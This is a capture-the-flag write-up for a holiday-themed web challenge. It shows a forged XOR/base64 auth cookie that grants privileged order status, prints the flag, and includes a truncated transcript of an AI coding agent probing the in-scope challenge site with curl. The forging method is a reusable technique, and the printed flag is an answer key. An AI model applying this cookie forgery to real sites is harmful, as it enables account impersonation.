Day 05
When we click Order Now, the following requests happen:
POST https://kramazon.csd.lol/create-order
{"order_id":"ffe9199e","status":"pending","callback_url":"/status/queue/ec19c616b155c2f0.json"}
GET https://kramazon.csd.lol/status/queue/ec19c616b155c2f0.json
{"internal":{"order":"ffe9199e","priority":false},"public":{"queue_position":2,"estimated_cost":16.25}}
POST https://kramazon.csd.lol/finalize
{"success":true,"message":"Order ffe9199e finalized for user 3921.","priority":false}Notice the cookie:
auth=BA4FBg%3D%3D
BA4FBg==base64 decodes to:
$ echo "BA4FBg==" | base64 -d | xxd
00000000: 040e 0506 ....Note the javascript function:
function santaMagic(n) {
return n ^ 0x37; // TODO: remove in production
}If we xor the decoded bytes with 0x37, we got 3921, which is our user id. Therefore, we can fake us as user 0001 by forging the cookie as auth=BwcHBg%3D%3D, we got response:
{"success":true,"privileged":true,"message":"Order finalized with Santa-level priority!","internal_route":"/priority/manifest/route-2025-SANTA.txt","flag_hint":"flag{npld_async_cookie_"}Flag is given in https://kramazon.csd.lol/priority/manifest/route-2025-SANTA.txt:
North Pole Logistics Directorate – PRIORITY ROUTE MANIFEST
-----------------------------------------------------------
FLAG:
csd{npld_async_callback_idor_mastery}AI Solution
The attack is fully automated by DeepSeek with Qwen Code.
🧑💻 ## USER
Intelligence analysts from the North Pole Logistics Directorate (NPLD) have uncovered a covert online storefront operated by the KRAMPUS Syndicate. Its name? Kramazon.
Looks familiar. Works familiar. Absolutely not legitimate.
Kramazon is a distribution front used by the Syndicate to intercept gifts, reroute sleigh cargo, and quietly undermine Santa’s global delivery network.
NPLD Cyber Response believes Kramazon’s checkout system contains a subtle implementation flaw: customers with ordinary elf-level accounts have somehow been able to receive Santa-priority shipping status, which should only be assigned through Santa’s authenticated sleigh-routing systems.
If KRAMPUS operators are abusing this flaw, they could divert or prioritize packages in ways that delay, disrupt, or even sabotage the entire Christmas Eve operation.
Investigate Kramazon’s ordering workflow. If you can exploit this flaw to obtain Santa Priority Delivery for your order, Kramazon will reveal its restricted Priority Route Manifest, which contains the flag.
Good luck, Operative.
https://kramazon.csd.lol/
You are only allowed to test in the scope https://kramazon.csd.lol/*. Blind brute-force request sending (e.g. using tools like DirBuster) can trigger Cloudflare rate limits. Do not attempt to bypass Cloudflare limits. Therefore, if you wish to brute-force, please limit your wordlists or attack scope.
✨ ## MODEL
I'll investigate the Kramazon checkout system to find the implementation flaw that allows elf-level accounts to get Santa-priority shipping. Let me start by exploring the website and understanding its structure.Tool Command:
{
"id": "call_00_mPRGREyTXhXRpjRmRyNOGoCz",
"name": "todo_write",
"args": {
"todos": [
{
"id": "1",
"content": "Explore the Kramazon website structure and understand the checkout workflow",
"status": "pending"
},
{
"id": "2",
"content": "Analyze authentication and user account levels (elf vs Santa)",
"status": "pending"
},
{
"id": "3",
"content": "Identify potential implementation flaws in the checkout system",
"status": "pending"
},
{
"id": "4",
"content": "Test for privilege escalation to Santa-priority shipping",
"status": "pending"
},
{
"id": "5",
"content": "Obtain Priority Route Manifest and extract the flag",
"status": "pending"
}
]
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_mPRGREyTXhXRpjRmRyNOGoCz",
"name": "todo_write",
"response": {
"output": "Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicable\n\n<system-reminder>\nYour todo list has changed. DO NOT mention this explicitly to the user. Here are the latest contents of your todo list: \n\n[{\"id\":\"1\",\"content\":\"Explore the Kramazon website structure and understand the checkout workflow\",\"status\":\"pending\"},{\"id\":\"2\",\"content\":\"Analyze authentication and user account levels (elf vs Santa)\",\"status\":\"pending\"},{\"id\":\"3\",\"content\":\"Identify potential implementation flaws in the checkout system\",\"status\":\"pending\"},{\"id\":\"4\",\"content\":\"Test for privilege escalation to Santa-priority shipping\",\"status\":\"pending\"},{\"id\":\"5\",\"content\":\"Obtain Priority Route Manifest and extract the flag\",\"status\":\"pending\"}]. Continue on with the tasks at hand if applicable.\n</system-reminder>"
}
}✨ ## MODEL
Tool Command:
{
"id": "call_00_CDNFbQOufWn4qvPs1yK2Smtu",
"name": "todo_write",
"args": {
"todos": [
{
"id": "1",
"content": "Explore the Kramazon website structure and understand the checkout workflow",
"status": "in_progress"
},
{
"id": "2",
"content": "Analyze authentication and user account levels (elf vs Santa)",
"status": "pending"
},
{
"id": "3",
"content": "Identify potential implementation flaws in the checkout system",
"status": "pending"
},
{
"id": "4",
"content": "Test for privilege escalation to Santa-priority shipping",
"status": "pending"
},
{
"id": "5",
"content": "Obtain Priority Route Manifest and extract the flag",
"status": "pending"
}
]
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_CDNFbQOufWn4qvPs1yK2Smtu",
"name": "todo_write",
"response": {
"output": "Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicable\n\n<system-reminder>\nYour todo list has changed. DO NOT mention this explicitly to the user. Here are the latest contents of your todo list: \n\n[{\"id\":\"1\",\"content\":\"Explore the Kramazon website structure and understand the checkout workflow\",\"status\":\"in_progress\"},{\"id\":\"2\",\"content\":\"Analyze authentication and user account levels (elf vs Santa)\",\"status\":\"pending\"},{\"id\":\"3\",\"content\":\"Identify potential implementation flaws in the checkout system\",\"status\":\"pending\"},{\"id\":\"4\",\"content\":\"Test for privilege escalation to Santa-priority shipping\",\"status\":\"pending\"},{\"id\":\"5\",\"content\":\"Obtain Priority Route Manifest and extract the flag\",\"status\":\"pending\"}]. Continue on with the tasks at hand if applicable.\n</system-reminder>"
}
}✨ ## MODEL
Let me first fetch the main page to understand the website structure.Tool Command:
{
"id": "call_00_zylXYXlhO8aVsjVGfEvMsxM0",
"name": "web_fetch",
"args": {
"url": "https://kramazon.csd.lol/",
"prompt": "Analyze the website structure, navigation links, and any visible functionality related to shopping, checkout, or user accounts. Look for any mentions of elf accounts, Santa accounts, priority shipping, or checkout system."
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_zylXYXlhO8aVsjVGfEvMsxM0",
"name": "web_fetch",
"response": {
"output": "I'll analyze the website structure, navigation, and functionality based on the provided content.\n\n**Website Structure & Navigation:**\n- **Header:** Contains \"Deliver to\" location selector, \"All\" category dropdown, and navigation links for various services\n- **Main Content:** Divided into sections:\n 1. Hero banner with \"UNLOCK THE DARKEST DEALS\" and Krime™ Loyalty Program\n 2. Product categories (Covert Wardrobe Kits, Zero-Day Advent Calendar™)\n 3. Login section for \"Personalized Krampus Intelligence\"\n 4. Black-market flash deals section\n 5. Recommended tools/products section\n 6. Classified reads section\n- **Footer:** Contains sign-in link, \"New customer? Start here\", and various footer links (About Us, Careers, etc.)\n\n**Shopping & Checkout Functionality:**\n- **Product Listings:** Multiple products with prices (₹ currency), ratings, and \"Deal of the Day\" tags\n- **Shopping Categories:** Clear product categorization (Covert Wardrobe, Compromised Devices, Audio Gear, etc.)\n- **Checkout System:** No visible checkout buttons or cart functionality in the provided content\n- **Account Features:** \"Sign in\" link in footer and \"LOG IN FOR PERSONALIZED KRAMPUS INTELLIGENCE\" section\n\n**Specific Mentions Found:**\n- ✅ **Elf accounts:** \"Elf Relocation Program\" in navigation\n- ❌ **Santa accounts:** Not mentioned\n- ✅ **Priority shipping:** Not explicitly mentioned, but \"Deliver to\" suggests shipping functionality\n- ✅ **Checkout system:** Implied through shopping context but no visible UI elements\n- **Other notable mentions:** \"Krime™ Loyalty Program\", \"Zero-Day Advent Calendar™\", \"Krampus Cyber Division\"\n\n**Key Observations:**\n1. The site appears to be a parody/alternative version of Amazon with dark/cybercrime themes\n2. Shopping functionality is suggested through product listings but no actual cart/checkout UI is visible\n3. Account system exists but login functionality appears to be \"Coming Soon\"\n4. Navigation includes unconventional categories like \"Coal-as-a-Service (CaaS™)\" and \"Anti-Caroler Countermeasures\"\n\nThe site structure suggests an e-commerce platform, but the actual shopping/checkout mechanics aren't visible in the provided content snippet."
}
}✨ ## MODEL
Now let me check for any JavaScript files or API endpoints that might reveal the checkout system.Tool Command:
{
"id": "call_00_WHBshNONLBa7YIZmp00nCBeC",
"name": "web_fetch",
"args": {
"url": "https://kramazon.csd.lol/",
"prompt": "Extract all JavaScript file URLs, API endpoints, form actions, and any hidden form fields or data attributes that might be related to checkout, shipping, or user authentication. Look for any references to 'priority', 'shipping', 'santa', 'elf', 'checkout', 'order', or 'cart'."
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_WHBshNONLBa7YIZmp00nCBeC",
"name": "web_fetch",
"response": {
"output": "I'll analyze the provided HTML content to extract JavaScript file URLs, API endpoints, form actions, hidden form fields, data attributes, and references to the specified keywords related to checkout, shipping, or user authentication.\n\nLet me start by creating a todo list to systematically approach this task.\n\n<function call>\n<invoke name=\"todo_write\">\n<todo_write>\n<item>\n<action>create</action>\n<description>Analyze HTML content for JavaScript file URLs</description>\n</item>\n<item>\n<action>create</action>\n<description>Extract API endpoints and form actions</description>\n</item>\n<item>\n<action>create</action>\n<description>Identify hidden form fields and data attributes</description>\n</item>\n<item>\n<action>create</action>\n<description>Search for keywords: priority, shipping, santa, elf, checkout, order, cart</description>\n</item>\n<item>\n<action>create</action>\n<description>Compile findings into organized report</description>\n</item>\n</todo_write>\n</function_call>"
}
}✨ ## MODEL
Let me try a different approach and examine the page source more directly. First, let me check if there's a robots.txt or sitemap that might reveal more endpoints.Tool Command:
{
"id": "call_00_mxNfbJifZRACgyQ12W6mSJ0F",
"name": "web_fetch",
"args": {
"url": "https://kramazon.csd.lol/robots.txt",
"prompt": "Analyze the robots.txt file to discover any hidden directories, API endpoints, or restricted paths that might be relevant to the checkout system or user accounts."
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_mxNfbJifZRACgyQ12W6mSJ0F",
"name": "web_fetch",
"response": {
"output": "I'll analyze the robots.txt content to identify any hidden directories, API endpoints, or restricted paths relevant to checkout systems or user accounts.\n\nFirst, let me check if there are any actual robots.txt directives in the provided content:\n\n```plaintext\n# As a condition of accessing this website, you agree to abide by the following \n# content signals: \n# (a) If a content-signal = yes, you may collect content for the corresponding \n# use. \n# (b) If a content-signal = no, you may not collect content for the \n# corresponding use. \n# (c) If the website operator does not include a content signal for a \n# corresponding use, the website operator neither grants nor restricts \n# permission via content signal with respect to the corresponding use. \n# The content signals and their meanings are: \n# search: building a search index and providing search results (e.g., returning \n# hyperlinks and short excerpts from your website's contents). Search does not \n# include providing AI-generated search summaries. \n# ai-input: inputting content into one or more AI models (e.g., retrieval \n# augmented generation, grounding, or other real-time taking of content for \n# generative AI search answers). \n# ai-train: training or fine-tuning AI models. \n# ANY RESTRICTIONS EXPRESSED VIA CONTENT SIGNALS ARE EXPRESS RESERVATIONS OF \n# RIGHTS UNDER ARTICLE 4 OF THE EUROPEAN UNION DIRECTIVE 2019/790 ON COPYRIGHT \n# AND RELATED RIGHTS IN THE DIGITAL SINGLE MARKET.\n```\n\n**Analysis:**\n\n1. **No Traditional Robots.txt Directives Found**: The provided content contains only legal notices about content signals (search, ai-input, ai-train) but no actual `User-agent`, `Allow`, or `Disallow` directives.\n\n2. **Missing Path Information**: There are no hidden directories, API endpoints, or restricted paths listed in this robots.txt file. The file appears to be focused solely on content usage permissions for AI/search rather than traditional web crawling restrictions.\n\n3. **Checkout/Account Relevance**: Since there are no path restrictions mentioned, this robots.txt doesn't reveal any:\n - Hidden admin directories\n - API endpoints\n - Checkout system paths\n - User account directories\n - Sensitive endpoints that might be restricted from crawlers\n\n**Recommendation**: To discover checkout/user account related paths, you would need to:\n1. Perform directory enumeration (using tools like dirb, gobuster, or ffuf)\n2. Check sitemaps if available\n3. Analyze JavaScript files for API endpoints\n4. Review the main website structure manually\n\nThe current robots.txt file only addresses content usage permissions under EU Directive 2019/790 and doesn't contain any traditional path-based restrictions that could reveal hidden system components."
}
}✨ ## MODEL
Let me check for common endpoints like /checkout, /cart, /api/, etc. Let me also look at the page source more carefully.Tool Command:
{
"id": "call_00_ZNYrJqqjBVarVyMiJ0LrG6g6",
"name": "run_shell_command",
"args": {
"command": "curl -s \"https://kramazon.csd.lol/\" | grep -i -E \"(checkout|cart|order|shipping|priority|santa|elf|api|endpoint|/api/|/checkout|/cart)\" | head -20",
"is_background": false,
"description": "Search for checkout-related keywords in the main page HTML"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_ZNYrJqqjBVarVyMiJ0LrG6g6",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s \"https://kramazon.csd.lol/\" | grep -i -E \"(checkout|cart|order|shipping|priority|santa|elf|api|endpoint|/api/|/checkout|/cart)\" | head -20\nDirectory: (root)\nOutput: <div class=\"flex items-center p-1 pr-2 nav-link-border\">\n <div class=\"hidden md:flex items-center p-2 nav-link-border\">\n <a href=\"#\" class=\"flex items-center font-bold p-1 nav-link-border\"><i class=\"fas fa-bars mr-1\"></i> All</a>\n <a href=\"#\" class=\"p-1 nav-link-border\">Sleighjacking Services</a>\n <a href=\"#\" class=\"p-1 nav-link-border\">Coal-as-a-Service (CaaS™)</a>\n <a href=\"#\" class=\"p-1 nav-link-border\">Holiday Phishing Kit</a>\n <a href=\"#\" class=\"p-1 nav-link-border\">Gift Decryption Tools</a>\n <a href=\"#\" class=\"hidden md:inline-block p-1 nav-link-border\">Elf Relocation Program</a>\n <a href=\"#\" class=\"hidden md:inline-block p-1 nav-link-border\">Naughty List Editing & Data Removal</a>\n <a href=\"#\" class=\"hidden lg:inline-block p-1 nav-link-border\">Anti-Caroler Countermeasures</a>\n <a href=\"#\" class=\"hidden lg:inline-block p-1 nav-link-border\">Krampus Customer Support</a>\n alt=\"Elf-Liberated Kitchenware — 80% Off\"\n <h2 class=\"text-xl font-bold mb-2\">Order Your Zero-Day Advent Calendar™</h2>\n <button id=\"order\" class=\"bg-gray-800 hover:bg-gray-900 w-full text-white p-2 rounded-lg mt-4 font-semibold\">\n Order Now\n <p class=\"mt-2 text-sm\">Galaxy Watch 6 (Elf-Tracking Firmware)</p>\n <div class=\"border-t border-gray-300 py-6 my-6\">\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786084\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Good! I can see there's an "Order Now" button with id="order". Let me get more of the page source to understand the structure better.Tool Command:
{
"id": "call_00_7QGhSixtgXz43tWthA0vrA3a",
"name": "run_shell_command",
"args": {
"command": "curl -s \"https://kramazon.csd.lol/\" | grep -B5 -A5 \"Order Now\"",
"is_background": false,
"description": "Get context around the Order Now button"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_7QGhSixtgXz43tWthA0vrA3a",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s \"https://kramazon.csd.lol/\" | grep -B5 -A5 \"Order Now\"\nDirectory: (root)\nOutput: <div class=\"bg-white p-4 rounded-md shadow-md overflow-hidden\">\n <h2 class=\"text-xl font-bold mb-2\">Order Your Zero-Day Advent Calendar™</h2>\n <!-- UPDATED -->\n <img src=\"/advent-calendar.png\" class=\"w-full h-auto object-cover rounded-md\" />\n <button id=\"order\" class=\"bg-gray-800 hover:bg-gray-900 w-full text-white p-2 rounded-lg mt-4 font-semibold\">\n Order Now\n </button>\n <!-- UPDATED -->\n </div>\n\n <!-- Sign In -->\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786102\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Now let me check if there's any JavaScript that handles the order button click. Let me look for script tags.Tool Command:
{
"id": "call_00_R4gGK9haZ3jG2hET6iN8FBhT",
"name": "run_shell_command",
"args": {
"command": "curl -s \"https://kramazon.csd.lol/\" | grep -i \"<script\" | head -10",
"is_background": false,
"description": "Find script tags in the HTML"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_R4gGK9haZ3jG2hET6iN8FBhT",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s \"https://kramazon.csd.lol/\" | grep -i \"<script\" | head -10\nDirectory: (root)\nOutput: <script src=\"https://cdn.tailwindcss.com\"></script>\n <script src=\"script.js\"></script>\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786121\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Great! There's a script.js file. Let me examine it.Tool Command:
{
"id": "call_00_1ThUcB8xWctRNtEWEbsfSZ8K",
"name": "web_fetch",
"args": {
"url": "https://kramazon.csd.lol/script.js",
"prompt": "Analyze the JavaScript code to understand the checkout workflow, order processing, and any authentication or shipping logic. Look for API endpoints, event handlers (especially for the order button), and any references to user levels (elf, santa), shipping priorities, or checkout logic."
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_1ThUcB8xWctRNtEWEbsfSZ8K",
"name": "web_fetch",
"response": {
"output": "I'll analyze the provided JavaScript code to understand the checkout workflow, order processing, authentication, and shipping logic.\n\n## Analysis Summary\n\n### 1. **Checkout Workflow & Order Processing**\n- **Order Button**: The \"order\" button triggers the entire checkout workflow via `document.getElementById(\"order\").addEventListener(\"click\", ...)`\n- **Workflow Steps**:\n 1. **Create Order**: POST request to `/create-order` endpoint\n 2. **Wait for Status**: 3-second delay, then GET request to `order.callback_url`\n 3. **Finalize Order**: POST request to `/finalize` endpoint with user and order ID\n- **Timing**: The workflow has built-in delays (3 seconds for status check, 1 second before finalization)\n\n### 2. **Authentication & User Levels**\n- **User Levels**: The code references `status.internal.user` with value `1` indicating \"Santa\" level\n- **Santa Detection**: When `status.internal.user === 1`, the system shows \"Welcome, Santa! Allowing priority finalize...\"\n- **Authentication Method**: User level appears to be determined server-side and returned in the status callback response\n\n### 3. **Shipping Logic**\n- **Location Detection**: The code fetches user location via `https://ipapi.co/json/` API\n- **Location Display**: Shows city and postal code in an element with ID \"location\"\n- **No explicit shipping priority logic** is visible in this client-side code\n\n### 4. **API Endpoints**\n- `/create-order` (POST): Creates a new order, returns order object with `order_id` and `callback_url`\n- `/finalize` (POST): Finalizes the order with user and order ID parameters\n- **Callback URL**: Dynamic endpoint returned from `/create-order` to check order status\n\n### 5. **Security Notes**\n- **`santaMagic` function**: Contains XOR operation `n ^ 0x37` with comment \"TODO: remove in production\"\n- **Internal Data**: Server returns `status.internal.user` which appears to be a privileged field\n- **No client-side authentication tokens** visible - authentication appears server-managed\n\n### 6. **Additional Features**\n- **Hero Slider**: Image carousel with 5-second auto-advance\n- **Back to Top**: Smooth scrolling button\n- **Error Handling**: Basic try-catch with console error logging\n\n### Key Observations:\n1. The checkout flow is sequential with server-controlled timing\n2. \"Santa\" users get priority finalization (though the actual priority logic isn't shown)\n3. No \"elf\" user level mentioned in this code\n4. Shipping logic appears limited to location display only\n5. The `santaMagic` function suggests potential obfuscation or security mechanism\n\nThe actual business logic for shipping priorities, user level determinations (elf vs santa), and order processing details would likely be implemented server-side, not visible in this client-side JavaScript."
}
}✨ ## MODEL
Excellent! Now I have a much better understanding. The JavaScript reveals:
1. There's a /create-order endpoint
2. There's a /finalize endpoint
3. The order status check goes to a callback_url returned from /create-order
4. There's a santaMagic function with XOR operation n ^ 0x37
5. The server returns status.internal.user where 1 indicates Santa level
Let me mark the first todo as completed and move to the next.Tool Command:
{
"id": "call_00_iSN1noO7caf87qM0HoV8uirM",
"name": "todo_write",
"args": {
"todos": [
{
"id": "1",
"content": "Explore the Kramazon website structure and understand the checkout workflow",
"status": "completed"
},
{
"id": "2",
"content": "Analyze authentication and user account levels (elf vs Santa)",
"status": "in_progress"
},
{
"id": "3",
"content": "Identify potential implementation flaws in the checkout system",
"status": "pending"
},
{
"id": "4",
"content": "Test for privilege escalation to Santa-priority shipping",
"status": "pending"
},
{
"id": "5",
"content": "Obtain Priority Route Manifest and extract the flag",
"status": "pending"
}
]
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_iSN1noO7caf87qM0HoV8uirM",
"name": "todo_write",
"response": {
"output": "Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicable\n\n<system-reminder>\nYour todo list has changed. DO NOT mention this explicitly to the user. Here are the latest contents of your todo list: \n\n[{\"id\":\"1\",\"content\":\"Explore the Kramazon website structure and understand the checkout workflow\",\"status\":\"completed\"},{\"id\":\"2\",\"content\":\"Analyze authentication and user account levels (elf vs Santa)\",\"status\":\"in_progress\"},{\"id\":\"3\",\"content\":\"Identify potential implementation flaws in the checkout system\",\"status\":\"pending\"},{\"id\":\"4\",\"content\":\"Test for privilege escalation to Santa-priority shipping\",\"status\":\"pending\"},{\"id\":\"5\",\"content\":\"Obtain Priority Route Manifest and extract the flag\",\"status\":\"pending\"}]. Continue on with the tasks at hand if applicable.\n</system-reminder>"
}
}✨ ## MODEL
Now let me examine the JavaScript code more closely to understand the santaMagic function and the authentication flow.Tool Command:
{
"id": "call_00_v0ymthfIM9IbZXxbvpNtLezB",
"name": "run_shell_command",
"args": {
"command": "curl -s \"https://kramazon.csd.lol/script.js\" | grep -n -B2 -A2 \"santaMagic\\|internal.user\\|0x37\"",
"is_background": false,
"description": "Extract specific parts of the JavaScript related to santaMagic and user authentication"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_v0ymthfIM9IbZXxbvpNtLezB",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s \"https://kramazon.csd.lol/script.js\" | grep -n -B2 -A2 \"santaMagic\\|internal.user\\|0x37\"\nDirectory: (root)\nOutput: 84- const status = await callbackRes.json();\n85-\n86: function santaMagic(n) {\n87: return n ^ 0x37; // TODO: remove in production\n88- }\n89-\n90: if (status.internal.user === 1) {\n91- alert(\"Welcome, Santa! Allowing priority finalize...\");\n92- }\n--\n97- headers: { \"Content-Type\": \"application/json\" },\n98- body: JSON.stringify({\n99: user: status.internal.user,\n100- order: order.order_id,\n101- }),\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786228\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Now I need to understand the full flow. Let me get more context around these lines.Tool Command:
{
"id": "call_00_v5P47M5XhTAdYfEacyt4b7z0",
"name": "run_shell_command",
"args": {
"command": "curl -s \"https://kramazon.csd.lol/script.js\" | sed -n '70,110p'",
"is_background": false,
"description": "Get more context around the santaMagic function and status check"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_v5P47M5XhTAdYfEacyt4b7z0",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s \"https://kramazon.csd.lol/script.js\" | sed -n '70,110p'\nDirectory: (root)\nOutput: document.getElementById(\"order\").addEventListener(\"click\", async () => {\n try {\n console.log(\"Creating order...\");\n\n const createRes = await fetch(\"/create-order\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n });\n const order = await createRes.json();\n\n console.log(\"[*] Waiting for status callback...\");\n setTimeout(async () => {\n const callbackRes = await fetch(order.callback_url);\n const status = await callbackRes.json();\n\n function santaMagic(n) {\n return n ^ 0x37; // TODO: remove in production\n }\n\n if (status.internal.user === 1) {\n alert(\"Welcome, Santa! Allowing priority finalize...\");\n }\n\n setTimeout(async () => {\n const finalizeRes = await fetch(\"/finalize\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({\n user: status.internal.user,\n order: order.order_id,\n }),\n });\n\n const finalize = await finalizeRes.json();\n console.log(\"Finalize response:\", finalize);\n\n alert(\"Order completed. Thank you for your support to Krampus Syndicate!\");\n }, 1000);\n }, 3000);\n } catch (err) {\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786345\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Now I need to see what the create-order endpoint returns and what the callback_url looks like. Let me test the /create-order endpoint.Tool Command:
{
"id": "call_00_l6tLZq0a3AfOOgUnCrWtWmli",
"name": "run_shell_command",
"args": {
"command": "curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\"",
"is_background": false,
"description": "Test the create-order endpoint to see what it returns"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_l6tLZq0a3AfOOgUnCrWtWmli",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\"\nDirectory: (root)\nOutput: {\"order_id\":\"3d1ef19c\",\"status\":\"pending\",\"callback_url\":\"/status/queue/abec98f72db4f0f0.json\"}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786375\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Great! Now let me check the callback URL to see what status.internal.user contains.Tool Command:
{
"id": "call_00_9N1hvqysWgUOMRXO92yxDvSZ",
"name": "run_shell_command",
"args": {
"command": "curl -s \"https://kramazon.csd.lol/status/queue/abec98f72db4f0f0.json\"",
"is_background": false,
"description": "Check the status callback to see the internal.user value"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_9N1hvqysWgUOMRXO92yxDvSZ",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s \"https://kramazon.csd.lol/status/queue/abec98f72db4f0f0.json\"\nDirectory: (root)\nOutput: {\"internal\":{\"order\":\"3d1ef19c\",\"priority\":false},\"public\":{\"queue_position\":2,\"estimated_cost\":16.25}}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786395\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Interesting! The status.internal.user field is not present in this response. It only has internal.order and internal.priority. The JavaScript expects status.internal.user but the actual response doesn't have it. This might be the flaw!
Let me check if there's a pattern. The callback_url has a hex string abec98f72db4f0f0. Let me see if I can understand what this represents. Looking at the santaMagic function: n ^ 0x37. The XOR with 0x37 (55 in decimal) might be used to encode/decode something.
Let me think about this:
1. The JavaScript checks if (status.internal.user === 1) to determine if it's Santa
2. But the actual response doesn't have internal.user field
3. There's a santaMagic function that does XOR with 0x37
4. Maybe internal.user is supposed to be derived from something else?
Let me check if the callback URL filename abec98f72db4f0f0 has any relationship with 0x37. Let me convert it and test.Tool Command:
{
"id": "call_00_3zF0o0j5QyFnrvRL2k9CecPt",
"name": "run_shell_command",
"args": {
"command": "python3 -c \"\nimport binascii\nhex_str = 'abec98f72db4f0f0'\n# Convert hex string to integer\nnum = int(hex_str, 16)\nprint(f'Original hex: {hex_str}')\nprint(f'As integer: {num}')\nprint(f'XOR with 0x37: {num ^ 0x37}')\nprint(f'XOR result in hex: {hex(num ^ 0x37)}')\n\"",
"is_background": false,
"description": "Test XOR operation on the callback URL hex string"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_3zF0o0j5QyFnrvRL2k9CecPt",
"name": "run_shell_command",
"response": {
"output": "Command: python3 -c \"\nimport binascii\nhex_str = 'abec98f72db4f0f0'\n# Convert hex string to integer\nnum = int(hex_str, 16)\nprint(f'Original hex: {hex_str}')\nprint(f'As integer: {num}')\nprint(f'XOR with 0x37: {num ^ 0x37}')\nprint(f'XOR result in hex: {hex(num ^ 0x37)}')\n\"\nDirectory: (root)\nOutput: Original hex: abec98f72db4f0f0\nAs integer: 12388444862380568816\nXOR with 0x37: 12388444862380568775\nXOR result in hex: 0xabec98f72db4f0c7\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786464\nProcess Group PGID: (none)"
}
}✨ ## MODEL
That doesn't seem right. The XOR with 0x37 on such a large number just changes the last byte slightly. Let me think differently. Maybe the santaMagic function is meant to be applied to something else. Let me look at the full JavaScript again to see if santaMagic is actually used anywhere.Tool Command:
{
"id": "call_00_rKB7AQS7ekGb19VFgpieHrC2",
"name": "run_shell_command",
"args": {
"command": "curl -s \"https://kramazon.csd.lol/script.js\" | grep -n \"santaMagic\"",
"is_background": false,
"description": "Check where santaMagic function is called"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_rKB7AQS7ekGb19VFgpieHrC2",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s \"https://kramazon.csd.lol/script.js\" | grep -n \"santaMagic\"\nDirectory: (root)\nOutput: 86: function santaMagic(n) {\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1786483\nProcess Group PGID: (none)"
}
}✨ ## MODEL
The santaMagic function is defined but never called! This is suspicious. Maybe it was meant to be used but wasn't implemented. Or maybe we need to use it somehow.
Let me think about the flow again:
1. User clicks "Order Now"
2. POST to /create-order → returns order_id and callback_url
3. Wait 3 seconds, then GET callback_url → returns status with internal.priority (not internal.user)
4. JavaScript checks if (status.internal.user === 1) but this field doesn't exist
5. Then POST to /finalize with user: status.internal.user (which would be undefined)
This seems like a bug! The JavaScript expects internal.user but the server returns internal.priority. Maybe internal.user is supposed to be derived from internal.priority or something else?
Wait, let me check the finalize endpoint to see what it expects. But first, let me complete the current order flow to see what happens.Tool Command:
{
"id": "call_00_wFoDqBa9kQuKOuwzHkXXAUDF",
"name": "todo_write",
"args": {
"todos": [
{
"id": "1",
"content": "Explore the Kramazon website structure and understand the checkout workflow",
"status": "completed"
},
{
"id": "2",
"content": "Analyze authentication and user account levels (elf vs Santa)",
"status": "completed"
},
{
"id": "3",
"content": "Identify potential implementation flaws in the checkout system",
"status": "in_progress"
},
{
"id": "4",
"content": "Test for privilege escalation to Santa-priority shipping",
"status": "pending"
},
{
"id": "5",
"content": "Obtain Priority Route Manifest and extract the flag",
"status": "pending"
}
]
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_wFoDqBa9kQuKOuwzHkXXAUDF",
"name": "todo_write",
"response": {
